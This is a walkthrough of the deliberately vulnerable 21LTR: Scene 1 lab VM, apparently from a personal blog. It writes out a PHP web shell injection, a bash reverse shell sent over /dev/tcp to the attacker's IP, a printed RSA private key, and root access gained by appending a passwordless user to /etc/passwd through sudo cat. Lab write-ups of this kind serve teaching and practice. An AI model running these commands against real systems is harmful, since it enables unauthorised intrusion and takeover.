21LTR: Scene 1 VM can be downloaded here. Had to use a couple of hints to proceed.
0. Get VMs IP
Not needed, VM has a static IP. You might need to change your VirtualBox/VMware settings to get on the right subnet (192.168.2.0/24), I followed this.
1. Enumeration
TCP Ports enumeration
root@kali:~# nmap -sV 192.168.2.120
Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-26 15:01 EDT
Nmap scan report for 192.168.2.120
Host is up (0.00011s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 5.1 (protocol 1.99)
80/tcp open http Apache httpd 2.2.13 ((Unix) DAV/2 PHP/5.2.10)
10001/tcp open scp-config?
MAC Address: 00:0C:29:00:00:B3 (VMware)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.26 seconds
2. Web server
Checking the sourcecode reveals credentials for user “logs”:
<!-- username:logs password:zg]E-b0]+8:(58G -->
Using the creds to SSH into the server didn’t work, it did work for the FTP server running though. Logs is very likely to be a virtual user. Worth noting is that our FTP working directory is mapped to / (you can check that with **pwd **command) and only a single php file is found, executing get backup_log.php will download the file into our local directory.
root@kali:/tmp# cat backup_log.php
<html>
<head>
<title></title>
</head>
<body>
<h2 style="text-align: center">
Intranet Dev Server Backup Log</h2>
<?php $log = time(); echo '<center><b>GMT time is: '.gmdate('r', $log).'</b></center>'; ?>
<p>
</p>
<h4>
Backup Errors:</h4>
<p>
</p>
</body>
</html>
Wed, 03 Jan 2012 09:51:42 +0000 from 192.168.2.240: Permission denied
<br><br>
Thu, 04 Jan 2012 13:11:29 +0000 from 192.168.2.240: No Such file or directory
<br><br>
Thu, 04 Jan 2012 13:31:36 +0000 from 192.168.2.240: No space left on device
<br><br>
Thu, 04 Jan 2012 13:41:36 +0000 from 192.168.2.240: No Space left on device
<br><br>
Mon, 16 Feb 2012 17:01:02 +0000 from 192.168.2.240: No Space left on device
<br><br>
Fri, 23 Apr 2012 10:51:07 +0000 from 192.168.2.240: No Space left on device
<br><br>
Fri, 12 May 2012 16:41:32 +0000 from 192.168.2.240: No Space Left on device
<br><br>
GET / HTTP/1.0
Dirbuster reveals there’s a /logs/ directory, which contains the file we just found (/logs/ returns a 4xx, so you need to manually append the file name).
I poked around and didn’t find anything of use, but the logs do show that a specific IP tried to access the box, why don’t we try changing our IP to it?
root@kali:/tmp# ifconfig eth0 192.168.2.240 netmask 255.255.255.0
root@kali:/tmp# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet **192.168.2.240** netmask 255.255.255.0 broadcast 192.168.2.255
inet6 fe80::20c:29ff:fe77:ef24 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:77:ef:24 txqueuelen 1000 (Ethernet)
RX packets 500271 bytes 63946744 (60.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 571896 bytes 49438370 (47.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
device interrupt 19 base 0x2024
At this point I got stuck, and had to check a walkthrough for tips. While scrolling down carefully, they mentioned using wireshark and just listening for a while. The server attempted to connect to port 10000 and gives a whole lot of garbled data. Waited another 5 minutes and made sure this time to store the data. It was a gzip file, decompressing it revealed lots of files, but it’s still suspicious how to use it next.
From time to time I noticed that port 10001 opens up (noticed it at the very start), when I found it open I wrote some stuff into it then hit CTRL+C.
Nothing happened! But then I checked the backup_log.php file again, it was blank. I believe there’s a bug with the code, but ultimately I had to restart the VM and this time when I wrote some text I waited till the port time out. Refreshing the php file shows our output as well as executes any php code embedded.
(Oh and by the way, this seems to happen after the server tries to contact us
on port 10000.)
root@kali:~/Desktop# cat text
It's me, abatchy
<?php system($_GET['cmd']) ?>
root@kali:~/Desktop# nc -nvlp 10000 > file.gz && nc -nv 192.168.2.120 10001 < text
listening on [any] 10000 ...
connect to [192.168.2.240] from (UNKNOWN) [192.168.2.120] 49182
(UNKNOWN) [192.168.2.120] 10001 (?) open
root@kali:~/Desktop# curl http://192.168.2.120/logs/backup_log.php?cmd=whoami
...
<redacted>
...
It's me, abatchy apache
Awesome, let’s try a bash one-liner to get a reverse shell. First start a listener on port 443.
------------------------------Terminal 1------------------------------
root@kali:~/Desktop# nc -nvlp 443
listening on [any] 443 ...
------------------------------Terminal 2------------------------------
root@kali:~/Desktop# curl "http://192.168.2.120/logs/backup_log.php?cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.240%2F443%200%3E%261"
------------------------------Terminal 1------------------------------
root@kali:~/Desktop# nc -nvlp 443
listening on [any] 443 ...
connect to [192.168.2.240] from (UNKNOWN) [192.168.2.120] 42663
bash: no job control in this shell
bash-3.1$ hostname
slax
bash-3.1$ tail /etc/passwd
sshd:x:33:33:sshd:/:/bin/false
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
apache:x:80:80:User for Apache:/srv/httpd:/bin/false
messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false
haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false
pop:x:90:90:POP:/:/bin/false
nobody:x:99:99:nobody:/:/bin/false
hbeale:x:1001:10:,,,:/home/hbeale:/bin/bash
jgreen:x:1002:10:,,,:/home/jgreen:/bin/bash
logs:x:1003:100:,,,:/tmp:/bin/bash
bash-3.1$
After some poking around I found a directory containing an RSA key.
bash-3.1$ ls -al
total 8
drwxrwxrwx 2 root root 80 Jun 6 2012 .
drwxrwxrwx 3 root root 80 Jun 19 2012 ..
-rwxrwxrwx 1 root root 393 Jun 2 2012 authorized_keys
-rwxrwxrwx 1 root root 1675 Jan 5 2008 id_rsa
bash-3.1$ pwd
/media/USB_1/Stuff/Keys
bash-3.1$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEA1pfb/CVukUw4Xe67YLEZzVHWNax0zJjI1CfcsoEGylmmtlA6
iXHi41nLshzXu9n536JfM9LFAWGqefBVX7Bzd/fC4+jHS3q89IK9FP7gFPwEmlNH
CwPX0ADxDFyB1lJOFffJ9gVw3VgHCaCPgS70UqJD0hZFDMSDMoBa91PylFQR0m58
nMq8DsGRbeC5hTdpLXKfBuW8v/lFuNEWVWNcZDie82aiJg8WRUUIrzeGZSR3+cG1
hi6za67VIi+ce8fFuBvIgaEpvJ0JSIX7zPLUV10ezW1NQRNplKSam3TIYI3+Ywuh
lcgpEyliHYReN6v91+um2c6LNy9y/vx2Akci5QIBIwKCAQEAvhF5s3GcchBPLqA/
kCfVBk/MW2zcerM1iLWXlsoNVCOFB+Co4CMKyV4pcd8IOKsfJSlqQ9fwUa5GiUKU
wne2urbf0S1CzdMcY4m9al4W7gPJkACeAnEeO+OTq9zoBvhxDCSc79ju7+7hqXD0
IfZjXyIBjjD7VHOKJWpfMtVTMunBCMqoAMa2veuN6LgDJweQNi7kon4qcj4SghGI
bdBv/Cnk7PMkG+DhafTRWyXGMWFpTHV4BNKv0i+k4lVV1oP9nJnh9jglY4EkD9LD
0Yt2QZt+XMTlxScsjcBpVGc9m4ZrgmRZGV0PTyMuWJtURkDBYPizkiPjjSZfUbyZ
y9QECwKBgQDsR9wLzrQbJIaOX8dG4rEt8pQHdYK7KCM8Bcq45iKKPzeLxchguM3o
+y9nRz5x8RWXWZUMl7PldoqwmrKh6WVCrdJ7mghPTYx3Djhcaf8q5XFTUhZH4xhB
72g1H6+JCECUjAFfjoSTOEswCFKYssgYA22x3fvLGg3S8f0UjjE1xQKBgQDogKVg
iyXCE833evccfrd/otsyVcxNincunAtYDAsqa2ZrjXL3oFwNwfC1CVKPhqDlnG46
M1tiSeYXygPbuPbHzRdu0ZuG7jRxxVdndl52gq/Zt8MKNRD9mdbFRcRMXmMRfaE4
RXdry9eB4rPywfWgJPGNVtOFZP6PRVv+IpoqoQKBgBRArHYKZzWGybRunA1j400U
ytwRYvoZYhsWcHY/nI+Bwu65Lm6wwTE6GgGJw4Yb+olQ0kLoboFh7qFsWHRHNJCv
0DZ66sT4BLm/Y+qp/+275SRmHyq7sZ9AaASNr/XNgeDYzOru9Wu0XjdRK6awPQlf
YSyAvc+UhNeRFbFOBDfPAoGAVlurI9vpc/i6N1mO+/SNTKo0KKOGZfGZ+16H3t/m
496/pEp7KMaIl2VKxuY0m7WpedsEXsKeSRQiQ1mpqWH1QuXG4AS2HCyXIvGG3Uk5
B3JekrH3/HocQO//UJZBmLVX/y6pmI7UlcC9wodnaMuzAPfHbwL+G5qKb7qtI+D3
busCgYATj4y+8msxNWRRNbHWAV7G0OurPDeZJ8F8NDLpM22X8fM08wgGRwkW4fpa
A+J8tN2ibiDqw29W6Rc1/4evAPbo3GR932W/ELOTOpP2yquiwoSxPG+HCLHmDITr
1qGHJRSOiFzo99iS5aQRhUvdl3M0lz1Cort7hjRKUkSWcT02Rw==
-----END RSA PRIVATE KEY-----
I copied it over and set the right permissions:
root@kali:~/Desktop# chmod 600 key
root@kali:~/Desktop# ssh -i key [email protected]
Linux 2.6.27.27.
hbeale@slax:~$ whoami
hbeale
Nice. First thing I always try on a low priv is sudo -l.
root@kali:~/Desktop# ssh -i key [email protected]
Linux 2.6.27.27.
hbeale@slax:~$ whoami
hbeale
hbeale@slax:~$ sudo -l
User hbeale may run the following commands on this host:
(root) NOEXEC: /bin/ls, (root) /usr/bin/cat, (root) /usr/bin/more, (root)
!/usr/bin/su *root*
(root) NOPASSWD: /usr/bin/cat
Awesome, we can edit files with cat using the >> operator. Let’s add a root user.
hbeale@slax:~$ sudo /usr/bin/cat >> /etc/passwd
abatchy::0:0::/root:/bin/bash
^C
hbeale@slax:~$ su abatchy
root@slax:/home/hbeale# id
uid=0(root) gid=0(root) groups=0(root)
Voila, we got root.
Final notes
Not sure if the author did it on purpose to just write some input to port 10001 and discover it’s written to the php file or not, please leave a comment if you got an answer to that.
- Abatchy
